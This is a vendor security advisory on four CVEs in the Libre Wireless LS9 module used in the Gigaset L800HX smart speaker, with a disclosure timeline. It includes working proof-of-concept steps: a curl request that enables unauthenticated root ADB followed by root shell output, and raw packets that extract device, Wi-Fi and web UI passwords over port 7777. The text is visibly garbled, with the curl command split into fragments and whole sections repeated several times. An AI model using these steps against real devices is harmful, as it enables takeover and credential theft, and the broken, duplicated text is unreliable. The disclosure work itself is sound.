Blog Banner (1)

Advisory: Multiple Issues in Libre Wireless LS9 Modules – And the Problem with Third Party Products

Overview

Over the course of a research project focusing on IoT gadgets in late 2020, we briefly looked at the Gigaset L800HX – a smart speaker with Amazon Alexa integration. However, during our testing process it became quickly obvious that this Gigaset device was based almost entirely on a third party module – the Libre Wireless LS9, which contained several security issues.

Affected vendor & product Libre Wireless LS9 (www.librewireless.com)
Vulnerable version Version 7040 in the Gigaset L800HX. Other affected versions unknown.
Fixed version Version 7042 in the Gigaset L800HX. Other fixed versions unknown.
CVE IDs CVE-2020-35755, CVE-2020-35756, CVE-2020-35757, CVE-2020-35758
Impact CVE-2020-35758: 6.3 (medium) CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
CVE-2020-35757: 8.8 (high) CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE-2020-35756: 7.4 (medium) CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
CVE-2020-35755: 7.4 (medium) CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
Credit T. Shiomitsu, IoT Inspector Research Lab

Once we had shell access to the device, it became very clear that there were almost no specifically Gigaset-developed components on the device at all – everything was Libre Wireless, with some very light Gigaset branding. As such, we made the decision to report all the issues we found in the LS9 module in the L800HX directly to Libre Wireless, and inform Gigaset where appropriate.

LS9

The Libre Wireless LS9 inside the Gigaset L800HX.

Who is Libre Wireless? What are “Turnkey Solutions”?

Libre Wireless is a multinational IoT module manufacturer and developer who provides “turnkey solutions” to device vendors (also known as white-label solutions). In basic terms, this means that they design and organize the manufacture for the embedded modules (or entire devices), and develop and provide easy access to all the peripheral minutiae that a vendor would otherwise have to spend money developing. This might include the core functionality of a device, a web management interface, a mobile application and/or cloud infrastructure.

The difficulty from a security perspective with devices based on these “turnkey solutions” is that an issue that affects a module within a device might actually affect a large number of other products, badged with different vendor names. A security issue found in a product badged with a particular vendor’s name may not necessarily be attributed to that particular vendor, other than the fact that their procurement process may lack a rigorous security testing component. Often, as external researchers, we are unable to gain visibility into exactly which vendors and devices are using affected components (without spending a lot of time and money).

In the experience of the research team here at IoT Inspector, we would rather go directly to the source whenever possible. In this case, we chose to contact Libre Wireless directly about the specifics of these security issues and keep Gigaset updated along the way. It should be noted that we have, to this point, not received any response from Gigaset from our emails.

Caveats

This leads us to some caveats we must raise as part of this advisory. While we did have quite a few conversation with Libre Wireless during the disclosure process, the company would not confirm certain details without a signed NDA in place. Since that would considerably hinder our responsible disclosure process, we declined to sign.

As such, we are unable to here provide information which might help users of affected devices confirm whether or not they are vulnerable to any of the raised issues. Information we have not been able to confirm with Libre Wireless are as follows:

  • Exact version numbers of the affected firmware revisions. I our initial conversations with Libre Wireless, they would not exactly clarify which firmware version of the LS9 was affected. The LS9 that we conducted our research on contained multiple overlapping and/or contradictory firmware version identifiers in various places, which include ro.build.display.id=chickentikka-eng 1.21 OPENMASTER 7040 test-keys in the build.prop file, the value p7040 in the NVRAM FWVersion field, the value LS1.5 in the NVRAM Firmware_version field, and the value p7040.0339.0 reported through the web management interface. The most common value in these is the number 7040, which we assumed is the firmware version number. In a later meeting with Libre Wireless, they confirmed that 7040 was in fact the firmware version of the Gigaset L800HX device firmware, but also let us know that their firmware versioning is different for each vendor that they contract for. So it is safe to say that the Gigaset L800HX running firmware version 7040 is affected, but we are unable to say exactly which other devices might be, and which firmware versions they may be running.
  • Exactly which vendors are affected. While we know that the Gigaset L800HX is affected, as it was the device that we initially looked at directly, Libre Wireless could not tell us which other vendors use the LS9.
  • Whether other Libre Wireless modules are affected. Again, Libre Wireless would not communicate if other modules manufactured by themselves are affected by these or similar issues.

Unfortunately, this leaves many users in a purgatory. While we can quite safely say that the Gigaset L800HX running firmware version 7040 is affected, we are unable to categorically state which other devices by which vendors, running which firmware versions, are affected by these issues. We imagine (hope!) that Libre Wireless has advised the affected vendors of this issue, and patches will be distributed within a reasonable time to users through the badged vendor channels. However, we can only speculate on this.

The visibility we do have into the LS9 firmware update process indicates that these issues are still not patched in the Gigaset L800HX at the time of publication (2021-04-26) but Libre Wireless confirmed to provide an over-the-air (OTA) update to affected users within May.

Authentication Bypass in LS9 Web Interface (CVE-2020-35758)

The LS9 web interface is available on port 80. While there is a login page displayed when one accesses this interface in a browser, testing found that this was functionally unnecessary.

Login Page on the web interface of the LS9 on the Gigaset L800HX

Login Page on the web interface of the LS9 on the Gigaset L800HX

All authenticated functions could be accessed without authentication. As such, it’s possible to directly access endpoints, which should not be exposed to an unauthenticated user.

Unauthenticated Root ADB Access Over TCP (CVE-2020-35757).

The LS9 web interface provides a user the functionality to enable ADB over TCP. This is not enabled by default but can be by sending a request to the /goform/SetADBmode endpoint. As the web server does not check authentication, any unauthenticated user who can access the web interface will be able to gain root privileges on the LS9 module.

Leveraging this issue to gain a root shell on the LS9 can be seen as follows:

$ curl -X

luci_service GETPASS Configuration Password Information Leak (CVE-2020-35756)

The LS9 exposes a server on TCP port 7777 called luci_service that uses a custom binary protocol. This is used by the mobile application during the initial setup of the device. Identifying the binary was relatively easy using the IoT Inspector API, as it was one of the binaries identified with networking functionality.

{
  "name": "luci_service",
  "elf": {
    "arch": "arm",
    "cpu": "ARM",
    "canary": true,
    "compiler": "GCC: (4.9.2_cos_gg_21201ea_4.9.2-r116) 4.9.x-google 20150123 (prerelease)",
    "endian": "LITTLE",
    "lang": "c++",
    "nx": true,
    "os": "linux",
    "pic": true,
    "relro": "FULL",
    "rpath": "$ORIGIN/../lib",
    "static": false,
    "stripped": true,
    "interpreter": "/lib/ld-linux-armhf.so.3",
    "categories": [
      "UNSAFE_STRING_NOBOUNDS",
      "UNSAFE_STRING",
      "UNSAFE_COMMAND_EXEC",
      "NETWORKING"
    ]
  }

However, authentication is not required to return the device configuration password in cleartext when using the GETPASS command. As such, any unauthenticated person with access to port 7777 on the device will be able to leak the user’s personal device configuration password by issuing the GETPASS command.

A GETPASS packet is arranged as follows:

\x00\x00\x02\xf2\x00\x00\x00\x00\x07\x00GETPASS

When sent to the luci_service port, the following response is returned:

\x00\x00\x02\x00\xf2\x00.\xc5\x00\r2:Password123

Which contains the user’s configured device password.

luci_service Read_ NVRAM Direct Access Information Leak (CVE-2020-35755)

The luci_service daemon running on port 7777 provides a sub-category of commands, which are prepended with the value “Read_”. Commands in this category can directly read the contents of the device configuration NVRAM. The NVRAM contains sensitive information, such as the Wi-Fi password (in cleartext), as well as connected account tokens for services such as Spotify. Due to a lack of proper authentication, all of these commands can also be executed by any user who is able to connect to port 7777.

In this case, a “Read_” binary string looks like the following (in this case to read the user’s Wi-Fi/WLAN passphrase):

\x00\x00\x02\xd0\x00\x00\x00\x00\x0f\x00READ_passphrase

And the response is as follows:

\x00\x00\x02\x00\xd0\x00\x9f\x1f\x00\x15passphrase:Testing123

We can use the same issue to read out the device web management interface password, even though it’s not actually required in the firmware revision we tested:

\x00\x00\x02\xd0\x00\x00\x00\x00\x12\x00READ_WebUIpassword

The password is then returned:

\x00\x00\x02\x00\xd0\x00\xdf[\x00\x1cWebUIpassword:[PASSWORD HERE]

In this case, we’ve chosen to redact the password, since it’s a hard-coded value shared between all devices badged by the same vendor. We advised Libre Wireless against this practice as part of our disclosure process.

Copy Of Ads 480 120

Key Takeaways

“Turnkey solution” manufacturers are becoming increasingly common in the IoT space: these 3rd parties supply a majority of components to vendors, which minimize the initial R&D overhead for a vendor and allows them to release a new product into a new market in a relatively frictionless way. In case of security issues, however, vendors are often left at the behest of these “turnkey solution” manufacturers – whose priorities may be misaligned with the vendor with their badge on the product.

If you’re a device vendor, and are (considering) using a “turnkey solution”, you may wish to consider implementing a robust security testing policy before allowing products to go to market. IoT Inspector can certainly complement such security testing policies by validating security requirements and automatically identifying vulnerabilities down the supply chain. While module manufacturers may claim superior security practices, these have often not been tested by 3rd parties. The issues we found in the LS9 are indicative of a product that has never thoroughly been tested for security by a 3rd party, as all are very fundamental logic errors.

Timeline

2020-11-24: Libre Wireless initially contacted to request security contact.
2020-11-25: Response from Libre Wireless, advising a method to send the advisory.
2020-11-25: Advisory sent as advised by Libre Wireless.
2020-12-02: No response from Libre Wireless, so a follow-up email sent.
2020-12-02: Receipt confirmation from Libre Wireless.
2020-12-11: Follow-up email relating to vendors, which may be using the module in their products.
2020-12-21: Another follow-up to confirm that Libre Wireless agrees that the issues disclosed are security issues, and to again ask if they can confirm which vendors are affected by these issues.
2020-12-28: Response from Libre Wireless confirming that the issues disclosed are security issues.
2020-12-28: Another response from Libre Wireless outlining the plan to roll out fixes to affected products. Also noting that they would not disclose affected vendor names without an NDA.
2020-12-29: Email to Libre Wireless advising them of the assigned CVE numbers, as well as requesting more information on exactly which modules are affected, and corresponding firmware version numbers.
2020-12-30: Libre Wireless respond noting that they would like an NDA signed before sharing any affected module or firmware version information.
2020-12-30: Email to Libre Wireless to try to schedule a phone meeting.
2021-01-02: Re-schedule meeting time.
2021-01-05: Phone call with Libre Wireless. They state that fix will be released before end of Q1 (end of March). We agree to delay public disclosure until then.
2021-01-11: Email to Gigaset to advise them of issues reported to Libre Wireless.
2021-01-11: Email to Libre Wireless to advise them of contact made to Gigaset.
2021-03-23: Q1 ending, so email to Libre Wireless to ask when patched firmware version is expected to be released.
2021-03-31: No response, so follow-up email is sent along with our projected date of publication of this advisory.
2021-03-31: Response from Libre Wireless saying that they are a few weeks away from deployment.
2021-04-19: We email Libre Wireless asking for a link for their own advisory that we can reference.
2021-04-19: We email Gigaset (despite having had no response from them) advising them of our publication.
2021-04-20: Libre Wireless respond letting us know to expect a response later that day.
2021-04-20: Libre Wireless respond letting us know that they have had further delays in getting the fixed firmware version deployed to customers.
2021-04-21: We respond giving Libre Wireless a draft of our advisory for comments, and asking for a link to their own advisory.
2021-04-21: Libre Wireless respond with comments, and asking to set up a call for the 26th to clarify some issues.
2021-04-21: We confirm a meeting for Monday 26th.
2021-04-22: Libre Wireless send us information on what changes they have made to the firmware to mitigate the issues we reported.
2021-04-22: We confirm with Libre Wireless that we plan to publish on Monday 26th and give them a list of details we are hoping to confirm in the meeting.
2021-04-26: We have meeting and confirm some small details.
2021-04-26: Advisory published.

POST' --data-binary

luci_service GETPASS Configuration Password Information Leak (CVE-2020-35756)

The LS9 exposes a server on TCP port 7777 called luci_service that uses a custom binary protocol. This is used by the mobile application during the initial setup of the device. Identifying the binary was relatively easy using the IoT Inspector API, as it was one of the binaries identified with networking functionality.


However, authentication is not required to return the device configuration password in cleartext when using the GETPASS command. As such, any unauthenticated person with access to port 7777 on the device will be able to leak the user’s personal device configuration password by issuing the GETPASS command.

A GETPASS packet is arranged as follows:

\x00\x00\x02\xf2\x00\x00\x00\x00\x07\x00GETPASS

When sent to the luci_service port, the following response is returned:

\x00\x00\x02\x00\xf2\x00.\xc5\x00\r2:Password123

Which contains the user’s configured device password.

luci_service Read_ NVRAM Direct Access Information Leak (CVE-2020-35755)

The luci_service daemon running on port 7777 provides a sub-category of commands, which are prepended with the value “Read_”. Commands in this category can directly read the contents of the device configuration NVRAM. The NVRAM contains sensitive information, such as the Wi-Fi password (in cleartext), as well as connected account tokens for services such as Spotify. Due to a lack of proper authentication, all of these commands can also be executed by any user who is able to connect to port 7777.

In this case, a “Read_” binary string looks like the following (in this case to read the user’s Wi-Fi/WLAN passphrase):

\x00\x00\x02\xd0\x00\x00\x00\x00\x0f\x00READ_passphrase

And the response is as follows:

\x00\x00\x02\x00\xd0\x00\x9f\x1f\x00\x15passphrase:Testing123

We can use the same issue to read out the device web management interface password, even though it’s not actually required in the firmware revision we tested:

\x00\x00\x02\xd0\x00\x00\x00\x00\x12\x00READ_WebUIpassword

The password is then returned:

\x00\x00\x02\x00\xd0\x00\xdf[\x00\x1cWebUIpassword:[PASSWORD HERE]

In this case, we’ve chosen to redact the password, since it’s a hard-coded value shared between all devices badged by the same vendor. We advised Libre Wireless against this practice as part of our disclosure process.

Copy Of Ads 480 120

Key Takeaways

“Turnkey solution” manufacturers are becoming increasingly common in the IoT space: these 3rd parties supply a majority of components to vendors, which minimize the initial R&D overhead for a vendor and allows them to release a new product into a new market in a relatively frictionless way. In case of security issues, however, vendors are often left at the behest of these “turnkey solution” manufacturers – whose priorities may be misaligned with the vendor with their badge on the product.

If you’re a device vendor, and are (considering) using a “turnkey solution”, you may wish to consider implementing a robust security testing policy before allowing products to go to market. IoT Inspector can certainly complement such security testing policies by validating security requirements and automatically identifying vulnerabilities down the supply chain. While module manufacturers may claim superior security practices, these have often not been tested by 3rd parties. The issues we found in the LS9 are indicative of a product that has never thoroughly been tested for security by a 3rd party, as all are very fundamental logic errors.

Timeline

2020-11-24: Libre Wireless initially contacted to request security contact.
2020-11-25: Response from Libre Wireless, advising a method to send the advisory.
2020-11-25: Advisory sent as advised by Libre Wireless.
2020-12-02: No response from Libre Wireless, so a follow-up email sent.
2020-12-02: Receipt confirmation from Libre Wireless.
2020-12-11: Follow-up email relating to vendors, which may be using the module in their products.
2020-12-21: Another follow-up to confirm that Libre Wireless agrees that the issues disclosed are security issues, and to again ask if they can confirm which vendors are affected by these issues.
2020-12-28: Response from Libre Wireless confirming that the issues disclosed are security issues.
2020-12-28: Another response from Libre Wireless outlining the plan to roll out fixes to affected products. Also noting that they would not disclose affected vendor names without an NDA.
2020-12-29: Email to Libre Wireless advising them of the assigned CVE numbers, as well as requesting more information on exactly which modules are affected, and corresponding firmware version numbers.
2020-12-30: Libre Wireless respond noting that they would like an NDA signed before sharing any affected module or firmware version information.
2020-12-30: Email to Libre Wireless to try to schedule a phone meeting.
2021-01-02: Re-schedule meeting time.
2021-01-05: Phone call with Libre Wireless. They state that fix will be released before end of Q1 (end of March). We agree to delay public disclosure until then.
2021-01-11: Email to Gigaset to advise them of issues reported to Libre Wireless.
2021-01-11: Email to Libre Wireless to advise them of contact made to Gigaset.
2021-03-23: Q1 ending, so email to Libre Wireless to ask when patched firmware version is expected to be released.
2021-03-31: No response, so follow-up email is sent along with our projected date of publication of this advisory.
2021-03-31: Response from Libre Wireless saying that they are a few weeks away from deployment.
2021-04-19: We email Libre Wireless asking for a link for their own advisory that we can reference.
2021-04-19: We email Gigaset (despite having had no response from them) advising them of our publication.
2021-04-20: Libre Wireless respond letting us know to expect a response later that day.
2021-04-20: Libre Wireless respond letting us know that they have had further delays in getting the fixed firmware version deployed to customers.
2021-04-21: We respond giving Libre Wireless a draft of our advisory for comments, and asking for a link to their own advisory.
2021-04-21: Libre Wireless respond with comments, and asking to set up a call for the 26th to clarify some issues.
2021-04-21: We confirm a meeting for Monday 26th.
2021-04-22: Libre Wireless send us information on what changes they have made to the firmware to mitigate the issues we reported.
2021-04-22: We confirm with Libre Wireless that we plan to publish on Monday 26th and give them a list of details we are hoping to confirm in the meeting.
2021-04-26: We have meeting and confirm some small details.
2021-04-26: Advisory published.

ADB=ADB_ON&ConfigADB=Save'

luci_service GETPASS Configuration Password Information Leak (CVE-2020-35756)

The LS9 exposes a server on TCP port 7777 called luci_service that uses a custom binary protocol. This is used by the mobile application during the initial setup of the device. Identifying the binary was relatively easy using the IoT Inspector API, as it was one of the binaries identified with networking functionality.


However, authentication is not required to return the device configuration password in cleartext when using the GETPASS command. As such, any unauthenticated person with access to port 7777 on the device will be able to leak the user’s personal device configuration password by issuing the GETPASS command.

A GETPASS packet is arranged as follows:

\x00\x00\x02\xf2\x00\x00\x00\x00\x07\x00GETPASS

When sent to the luci_service port, the following response is returned:

\x00\x00\x02\x00\xf2\x00.\xc5\x00\r2:Password123

Which contains the user’s configured device password.

luci_service Read_ NVRAM Direct Access Information Leak (CVE-2020-35755)

The luci_service daemon running on port 7777 provides a sub-category of commands, which are prepended with the value “Read_”. Commands in this category can directly read the contents of the device configuration NVRAM. The NVRAM contains sensitive information, such as the Wi-Fi password (in cleartext), as well as connected account tokens for services such as Spotify. Due to a lack of proper authentication, all of these commands can also be executed by any user who is able to connect to port 7777.

In this case, a “Read_” binary string looks like the following (in this case to read the user’s Wi-Fi/WLAN passphrase):

\x00\x00\x02\xd0\x00\x00\x00\x00\x0f\x00READ_passphrase

And the response is as follows:

\x00\x00\x02\x00\xd0\x00\x9f\x1f\x00\x15passphrase:Testing123

We can use the same issue to read out the device web management interface password, even though it’s not actually required in the firmware revision we tested:

\x00\x00\x02\xd0\x00\x00\x00\x00\x12\x00READ_WebUIpassword

The password is then returned:

\x00\x00\x02\x00\xd0\x00\xdf[\x00\x1cWebUIpassword:[PASSWORD HERE]

In this case, we’ve chosen to redact the password, since it’s a hard-coded value shared between all devices badged by the same vendor. We advised Libre Wireless against this practice as part of our disclosure process.

Copy Of Ads 480 120

Key Takeaways

“Turnkey solution” manufacturers are becoming increasingly common in the IoT space: these 3rd parties supply a majority of components to vendors, which minimize the initial R&D overhead for a vendor and allows them to release a new product into a new market in a relatively frictionless way. In case of security issues, however, vendors are often left at the behest of these “turnkey solution” manufacturers – whose priorities may be misaligned with the vendor with their badge on the product.

If you’re a device vendor, and are (considering) using a “turnkey solution”, you may wish to consider implementing a robust security testing policy before allowing products to go to market. IoT Inspector can certainly complement such security testing policies by validating security requirements and automatically identifying vulnerabilities down the supply chain. While module manufacturers may claim superior security practices, these have often not been tested by 3rd parties. The issues we found in the LS9 are indicative of a product that has never thoroughly been tested for security by a 3rd party, as all are very fundamental logic errors.

Timeline

2020-11-24: Libre Wireless initially contacted to request security contact.
2020-11-25: Response from Libre Wireless, advising a method to send the advisory.
2020-11-25: Advisory sent as advised by Libre Wireless.
2020-12-02: No response from Libre Wireless, so a follow-up email sent.
2020-12-02: Receipt confirmation from Libre Wireless.
2020-12-11: Follow-up email relating to vendors, which may be using the module in their products.
2020-12-21: Another follow-up to confirm that Libre Wireless agrees that the issues disclosed are security issues, and to again ask if they can confirm which vendors are affected by these issues.
2020-12-28: Response from Libre Wireless confirming that the issues disclosed are security issues.
2020-12-28: Another response from Libre Wireless outlining the plan to roll out fixes to affected products. Also noting that they would not disclose affected vendor names without an NDA.
2020-12-29: Email to Libre Wireless advising them of the assigned CVE numbers, as well as requesting more information on exactly which modules are affected, and corresponding firmware version numbers.
2020-12-30: Libre Wireless respond noting that they would like an NDA signed before sharing any affected module or firmware version information.
2020-12-30: Email to Libre Wireless to try to schedule a phone meeting.
2021-01-02: Re-schedule meeting time.
2021-01-05: Phone call with Libre Wireless. They state that fix will be released before end of Q1 (end of March). We agree to delay public disclosure until then.
2021-01-11: Email to Gigaset to advise them of issues reported to Libre Wireless.
2021-01-11: Email to Libre Wireless to advise them of contact made to Gigaset.
2021-03-23: Q1 ending, so email to Libre Wireless to ask when patched firmware version is expected to be released.
2021-03-31: No response, so follow-up email is sent along with our projected date of publication of this advisory.
2021-03-31: Response from Libre Wireless saying that they are a few weeks away from deployment.
2021-04-19: We email Libre Wireless asking for a link for their own advisory that we can reference.
2021-04-19: We email Gigaset (despite having had no response from them) advising them of our publication.
2021-04-20: Libre Wireless respond letting us know to expect a response later that day.
2021-04-20: Libre Wireless respond letting us know that they have had further delays in getting the fixed firmware version deployed to customers.
2021-04-21: We respond giving Libre Wireless a draft of our advisory for comments, and asking for a link to their own advisory.
2021-04-21: Libre Wireless respond with comments, and asking to set up a call for the 26th to clarify some issues.
2021-04-21: We confirm a meeting for Monday 26th.
2021-04-22: Libre Wireless send us information on what changes they have made to the firmware to mitigate the issues we reported.
2021-04-22: We confirm with Libre Wireless that we plan to publish on Monday 26th and give them a list of details we are hoping to confirm in the meeting.
2021-04-26: We have meeting and confirm some small details.
2021-04-26: Advisory published.

http://192.168.43.1/goform/SetADBmode' <html> <head><title>Document Error: Request Timeout</title></head> <body> <h2>Access Error: Request Timeout</h2> <p>Request exceeded timeout</p> </body> </html> $ adb connect 192.168.43.1 connected to 192.168.43.1:5555 $ adb shell ‘id’ uid=0(root) gid=0(root) $ adb shell 'ls -al /' -rw-rw-r-- root root 7918 2020-05-15 06:20 LS_Host_EVK_config_LS9.xml lrwxrwxrwx root root 2020-05-15 06:20 bin -> /system/bin drwxrwxr-x root root 2020-05-15 06:20 bluetooth lrwxrwxrwx root root 2020-05-15 06:20 boot -> /system/boot lrwxrwxrwx root root 2020-05-15 06:20 build.prop -> /system/build.prop drwxrwxr-x root root 2020-05-15 06:20 caldata lrwxrwxrwx root root 2020-05-15 06:20 chrome -> /system/chrome lrwxrwxrwx root root 2020-05-15 06:20 config -> /lsync/misc/config lrwxrwxrwx root root 2020-05-15 06:20 data -> /lsync/data1 -rw-rw-r-- root root 116 2020-05-15 06:20 default.prop drwxr-xr-x root root 1970-01-01 00:00 dev drwxrwxr-x root root 2020-05-15 06:20 etc lrwxrwxrwx root root 2020-05-15 06:20 factory -> /factory_setting drwxrwxrwx root root 1970-01-01 00:00 factory_setting drwxrwxrwt root root 1970-01-01 00:00 fw lrwxrwxrwx root root 2020-05-15 06:20 home -> /system/home -rwxrwxr-x root root 69216 2020-05-15 06:20 init -rwxrwxr-x root root 10165 2020-05-15 06:20 init.rc drwxrwxr-x root root 2020-05-15 06:20 lib drwxrwxr-x root root 1970-01-01 00:00 lsync lrwxrwxrwx root root 2020-05-15 06:20 marvell -> /lsync/marvell drwxrwxr-x root root 2020-05-15 06:20 media lrwxrwxrwx root root 2020-05-15 06:20 oem_cast_shlib -> /system/oem_cast_shlib dr-xr-xr-x root root 1970-01-01 00:00 proc lrwxrwxrwx root root 2020-05-15 06:20 res -> /system/res drwxrwxr-x root root 2020-05-15 06:20 sbin dr-xr-xr-x root root 1970-01-01 00:00 sys drwxrwxr-x root root 2020-05-15 06:20 system drwxrwxrwt root root 1970-01-01 00:00 tmp -rw-rw-r-- root root 176 2020-05-15 06:20 ueventd.chickentikka-b1.rc -rw-rw-r-- root root 176 2020-05-15 06:20 ueventd.chickentikka-b2.rc -rw-rw-r-- root root 176 2020-05-15 06:20 ueventd.chickentikka-b3.rc -rw-rw-r-- root root 3825 2020-05-15 06:20 ueventd.rc lrwxrwxrwx root root 2020-05-15 06:20 usr -> /system/usr lrwxrwxrwx root root 2020-05-15 06:20 xbin -> /system/xbin

luci_service GETPASS Configuration Password Information Leak (CVE-2020-35756)

The LS9 exposes a server on TCP port 7777 called luci_service that uses a custom binary protocol. This is used by the mobile application during the initial setup of the device. Identifying the binary was relatively easy using the IoT Inspector API, as it was one of the binaries identified with networking functionality.


However, authentication is not required to return the device configuration password in cleartext when using the GETPASS command. As such, any unauthenticated person with access to port 7777 on the device will be able to leak the user’s personal device configuration password by issuing the GETPASS command.

A GETPASS packet is arranged as follows:

\x00\x00\x02\xf2\x00\x00\x00\x00\x07\x00GETPASS

When sent to the luci_service port, the following response is returned:

\x00\x00\x02\x00\xf2\x00.\xc5\x00\r2:Password123

Which contains the user’s configured device password.

luci_service Read_ NVRAM Direct Access Information Leak (CVE-2020-35755)

The luci_service daemon running on port 7777 provides a sub-category of commands, which are prepended with the value “Read_”. Commands in this category can directly read the contents of the device configuration NVRAM. The NVRAM contains sensitive information, such as the Wi-Fi password (in cleartext), as well as connected account tokens for services such as Spotify. Due to a lack of proper authentication, all of these commands can also be executed by any user who is able to connect to port 7777.

In this case, a “Read_” binary string looks like the following (in this case to read the user’s Wi-Fi/WLAN passphrase):

\x00\x00\x02\xd0\x00\x00\x00\x00\x0f\x00READ_passphrase

And the response is as follows:

\x00\x00\x02\x00\xd0\x00\x9f\x1f\x00\x15passphrase:Testing123

We can use the same issue to read out the device web management interface password, even though it’s not actually required in the firmware revision we tested:

\x00\x00\x02\xd0\x00\x00\x00\x00\x12\x00READ_WebUIpassword

The password is then returned:

\x00\x00\x02\x00\xd0\x00\xdf[\x00\x1cWebUIpassword:[PASSWORD HERE]

In this case, we’ve chosen to redact the password, since it’s a hard-coded value shared between all devices badged by the same vendor. We advised Libre Wireless against this practice as part of our disclosure process.

Copy Of Ads 480 120

Key Takeaways

“Turnkey solution” manufacturers are becoming increasingly common in the IoT space: these 3rd parties supply a majority of components to vendors, which minimize the initial R&D overhead for a vendor and allows them to release a new product into a new market in a relatively frictionless way. In case of security issues, however, vendors are often left at the behest of these “turnkey solution” manufacturers – whose priorities may be misaligned with the vendor with their badge on the product.

If you’re a device vendor, and are (considering) using a “turnkey solution”, you may wish to consider implementing a robust security testing policy before allowing products to go to market. IoT Inspector can certainly complement such security testing policies by validating security requirements and automatically identifying vulnerabilities down the supply chain. While module manufacturers may claim superior security practices, these have often not been tested by 3rd parties. The issues we found in the LS9 are indicative of a product that has never thoroughly been tested for security by a 3rd party, as all are very fundamental logic errors.

Timeline

2020-11-24: Libre Wireless initially contacted to request security contact.
2020-11-25: Response from Libre Wireless, advising a method to send the advisory.
2020-11-25: Advisory sent as advised by Libre Wireless.
2020-12-02: No response from Libre Wireless, so a follow-up email sent.
2020-12-02: Receipt confirmation from Libre Wireless.
2020-12-11: Follow-up email relating to vendors, which may be using the module in their products.
2020-12-21: Another follow-up to confirm that Libre Wireless agrees that the issues disclosed are security issues, and to again ask if they can confirm which vendors are affected by these issues.
2020-12-28: Response from Libre Wireless confirming that the issues disclosed are security issues.
2020-12-28: Another response from Libre Wireless outlining the plan to roll out fixes to affected products. Also noting that they would not disclose affected vendor names without an NDA.
2020-12-29: Email to Libre Wireless advising them of the assigned CVE numbers, as well as requesting more information on exactly which modules are affected, and corresponding firmware version numbers.
2020-12-30: Libre Wireless respond noting that they would like an NDA signed before sharing any affected module or firmware version information.
2020-12-30: Email to Libre Wireless to try to schedule a phone meeting.
2021-01-02: Re-schedule meeting time.
2021-01-05: Phone call with Libre Wireless. They state that fix will be released before end of Q1 (end of March). We agree to delay public disclosure until then.
2021-01-11: Email to Gigaset to advise them of issues reported to Libre Wireless.
2021-01-11: Email to Libre Wireless to advise them of contact made to Gigaset.
2021-03-23: Q1 ending, so email to Libre Wireless to ask when patched firmware version is expected to be released.
2021-03-31: No response, so follow-up email is sent along with our projected date of publication of this advisory.
2021-03-31: Response from Libre Wireless saying that they are a few weeks away from deployment.
2021-04-19: We email Libre Wireless asking for a link for their own advisory that we can reference.
2021-04-19: We email Gigaset (despite having had no response from them) advising them of our publication.
2021-04-20: Libre Wireless respond letting us know to expect a response later that day.
2021-04-20: Libre Wireless respond letting us know that they have had further delays in getting the fixed firmware version deployed to customers.
2021-04-21: We respond giving Libre Wireless a draft of our advisory for comments, and asking for a link to their own advisory.
2021-04-21: Libre Wireless respond with comments, and asking to set up a call for the 26th to clarify some issues.
2021-04-21: We confirm a meeting for Monday 26th.
2021-04-22: Libre Wireless send us information on what changes they have made to the firmware to mitigate the issues we reported.
2021-04-22: We confirm with Libre Wireless that we plan to publish on Monday 26th and give them a list of details we are hoping to confirm in the meeting.
2021-04-26: We have meeting and confirm some small details.
2021-04-26: Advisory published.

About ONEKEY

ONEKEY is the leading European specialist in Product Cybersecurity & Compliance Management and part of the investment portfolio of PricewaterhouseCoopers Germany (PwC). The unique combination of an automated Product Cybersecurity & Compliance Platform (PCCP) with expert knowledge and consulting services provides fast and comprehensive analysis, support, and management to improve product cybersecurity and compliance from product purchasing, design, development, production to end-of-life.

Critical vulnerabilities and compliance violations in device firmware are automatically identified in binary code by AI-based technology in minutes – without source code, device, or network access. Proactively audit software supply chains with integrated software bill of materials (SBOM) generation. “Digital Cyber Twins” enable automated 24/7 post-release cybersecurity monitoring throughout the product lifecycle.

The patent-pending, integrated Compliance Wizard™ already covers the upcoming EU Cyber Resilience Act (CRA) and existing requirements according to IEC 62443-4-2, ETSI EN 303 645, UNECE R 155 and many others.

The Product Security Incident Response Team (PSIRT) is effectively supported by the integrated automatic prioritisation of vulnerabilities, significantly reducing the time to remediation.

Leading international companies in Asia, Europe and the Americas already benefit from the ONEKEY Product Cybersecurity & Compliance Platform and ONEKEY Cybersecurity Experts.

 

CONTACT:

Sara Fortmann

Marketing Manager

sara.fortmann@onekey.com

 

euromarcom public relations GmbH

+49 611 973 150

team@euromarcom.de